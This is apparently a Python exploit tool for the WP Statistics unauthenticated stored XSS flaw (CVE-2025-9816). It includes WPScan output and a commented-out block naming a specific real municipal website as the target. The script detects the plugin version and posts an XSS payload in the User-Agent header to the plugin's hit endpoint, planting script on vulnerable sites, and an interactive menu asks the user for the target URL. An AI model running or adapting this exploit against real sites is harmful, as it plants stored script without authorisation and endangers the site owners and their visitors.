# [+] wp-statistics # | Location: https://shahrdariarad.ir/wp-content/plugins/wp-statistics/ # | Last Updated: 2025-09-21T07:58:00.000Z # | Readme: https://shahrdariarad.ir/wp-content/plugins/wp-statistics/readme.txt # | [!] The version is out of date, the latest version is 14.15.5 # | # | Found By: Known Locations (Aggressive Detection) # | - https://shahrdariarad.ir/wp-content/plugins/wp-statistics/, status: 403 # | # | [!] 1 vulnerability identified: # | # | [!] Title: WP Statistics < 14.15.5 - Unauthenticated Stored XSS via User-Agent Header # | Fixed in: 14.15.5 # | References: # | - https://wpscan.com/vulnerability/c815babc-2a9d-4d2a-901e-13b4825526f1 # | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-9816 # | - https://www.wordfence.com/threat-intel/vulnerabilities/id/d8351204-da6d-443a-98b5-0608bfb1e9d0 # | # | Version: 14.15.2 (100% confidence) # | Found By: Readme - Stable Tag (Aggressive Detection) # | - https://shahrdariarad.ir/wp-content/plugins/wp-statistics/readme.txt # | Confirmed By: Readme - ChangeLog Section (Aggressive Detection) # | - https://shahrdariarad.ir/wp-content/plugins/wp-statistics/readme.txt import sys import requests from random import uniform import re from log.logger import logger import keyboard import os import sys from time import sleep wp_statistic_default_route = "/wp-content/plugins/wp-statistics/readme.txt" class color: HEADER = '\033[95m' OKBLUE = '\033[94m' OKCYAN = '\033[96m' OKGREEN = '\033[92m' WARNING = '\033[93m' FAIL = '\033[91m' ENDC = '\033[0m' BOLD = '\033[1m' UNDERLINE = '\033[4m' def check_plugin_route(base_domain: str): try: http_headers = { "Sec-Ch-Ua": "\"Not;A=Brand\";v=\"24\", \"Chromium\";v=\"128\"", "Sec-Ch-Ua-Mobile": "?0", "Sec-Ch-Ua-Platform": "\"Windows\"", "Accept-Language": "en-US,en;q=0.9", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site": "none", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Accept-Encoding": "gzip", "Priority": "u=0, i", "Connection": "keep-alive" } response = requests.get( url=base_domain + wp_statistic_default_route, headers=http_headers, timeout=10, allow_redirects=True, verify=False ) if response.status_code == 200: return True, response.text else: return False, None except Exception as e: logger.error(f"Error: {e}") return False, None def extract_plugin_version(readme_response: str): try: pattern = r'Stable\s+tag:\s*([\d.]+)' match_text = re.search(pattern, readme_response) if match_text: return match_text.group(1) else: return None except Exception as e: logger.error(f"Error: {e}") return None def check_vulnerable_version(input_version: str): try: version_parser = map(int, (input_version + '.0.0').split('.')[:3]) splited_version = tuple(version_parser) if splited_version < (14, 15, 5): return True else: return False except Exception as e: logger.error(f"Error: {e}") return False def stored_xss_poc(base_url: str): try: vulnerable_route = "/wp-json/wp-statistics/v2/hit" http_headers = {"Sec-Ch-Ua": "\"Not;A=Brand\";v=\"24\", \"Chromium\";v=\"128\"", "Content-Type": "application/x-www-form-urlencoded", "Accept-Language": "en-US,en;q=0.9", "Sec-Ch-Ua-Mobile": "?0", "User-Agent": "OnXSS%3d%3cImg%2fSrc%2fOnError%3d(alert)(1)%3e", "Sec-Ch-Ua-Platform": "\"Windows\"", "Accept": "*/*", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Priority": "u=1, i" } http_data = { "wp_statistics_hit": "1", "source_type": "home", "source_id": "1546", "search_query": '', "signature": "3edafe75d3c61b1db8113226df25dc5e", "endpoint": "hit", "referred": '', "page_uri": "Lw==" } sxss_response = requests.post( url=base_url + vulnerable_route, headers=http_headers, data=http_data, timeout=10, verify=False ) if sxss_response.status_code == 200: return sxss_response.text else: print(sxss_response.text) return None except Exception as e: logger.error(f"Error: {e}") def type_text_like_human(text: str, min_delay = 0.03, max_delay = 0.12): for char in text: sys.stdout.write(char) sys.stdout.flush() sleep(uniform(min_delay, max_delay)) def clear_screen(): os.system('cls' if os.name == 'nt' else 'clear') def scan(url: str): try: if url is None or len(url) == 0: logger.error(f"Error: URL is Empty... Try again") return None else: if url[-1] == '/': url = url[:-1] route_exist, route_data = check_plugin_route(url) if route_exist: print(f"[X] Route {color.OKGREEN}{url+wp_statistic_default_route}{color.ENDC}", "Exist.") extracted_version = extract_plugin_version(route_data) print(f"[X] Detected version {color.OKGREEN} Version:{color.ENDC} {color.OKCYAN}{extracted_version}{color.ENDC}") if check_vulnerable_version(extracted_version): attack_response = stored_xss_poc(base_url=url) if attack_response == '{"status":true}': print("[X] Target is", color.FAIL + "Vulnerable" + color.ENDC) else: print(attack_response) except Exception as e: logger.error(f"Error: {e}") # domain = "https://shahrdariarad.ir" # response = check_plugin_route(domain) # extracted_version = extract_plugin_version(response) # print(extracted_version) # if check_vulnerable_version(extracted_version): # if stored_xss_poc(base_url=domain) == '{"status":true}': # print("Vulnerable") def terminal_menu_keyboard(options): selected = 0 print("Use Ctrl+C") while True: clear_screen() print(""" .oPYo. o o .oPYo. .oPYo. .oPYo. .oPYo. oooooo .oPYo. .PY. .o .pPYo. 8 8 8 8 8. `8 8 .o8 `8 8 8' `8 8 8 8 8 8 8 8 `boo oP' 8 .P'8 oP' 8pPYo. 8. .8 .oPYo. 8 8oPYo. 8 `b d' .P ooooo .oP' 8.d' 8 .oP' `8 ooooo `YooP8 8' `8 8 8' `8 8 8 `b d' 8 8' 8o' 8 8' .P .P 8. .P 8 8. .P `YooP' `8' `YooP' 8ooooo `YooP' 8ooooo `YooP' `YooP' `YooP' 8 `YooP' :.....::::::..::::::.....:::::::::::.......:::.....:::.......:::.....::::::::::::.....::::.....::::..:::.....: :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: """) print("=== Menu ===") for i, option in enumerate(options): prefix = " ➤ " if i == selected else " " print(f"{prefix}{option}") print("\nUse ↑,↓ and Enter") event = keyboard.read_event(suppress=True) if event.event_type == keyboard.KEY_DOWN: key = event.name if key == 'up' and selected > 0: selected -= 1 elif key == 'down' and selected < len(options) - 1: selected += 1 elif key == 'enter': if options.index(options[selected]) == 0: clear_screen() type_text_like_human(text="You must enter your url-target...\n") type_text_like_human(text="Example: https://vulnerable.com\n") domain = input("Enter URL: ") scan(url=domain) if options.index(options[selected]) == 1: print("Choosed 2") if options.index(options[selected]) == 2: print("Choosed 3") if options.index(options[selected]) == 3: sys.exit() # print(f"Your choice: {options[selected]}") # print(f"Chooosed {options.index(options[selected])}") # input("\nPress Enter to Continue...") return options[selected] if __name__ == "__main__": items = ["Scan single domain", "Scan a list of domains", "About Developer", "Exit"] result = terminal_menu_keyboard(items) # print("Result:", result)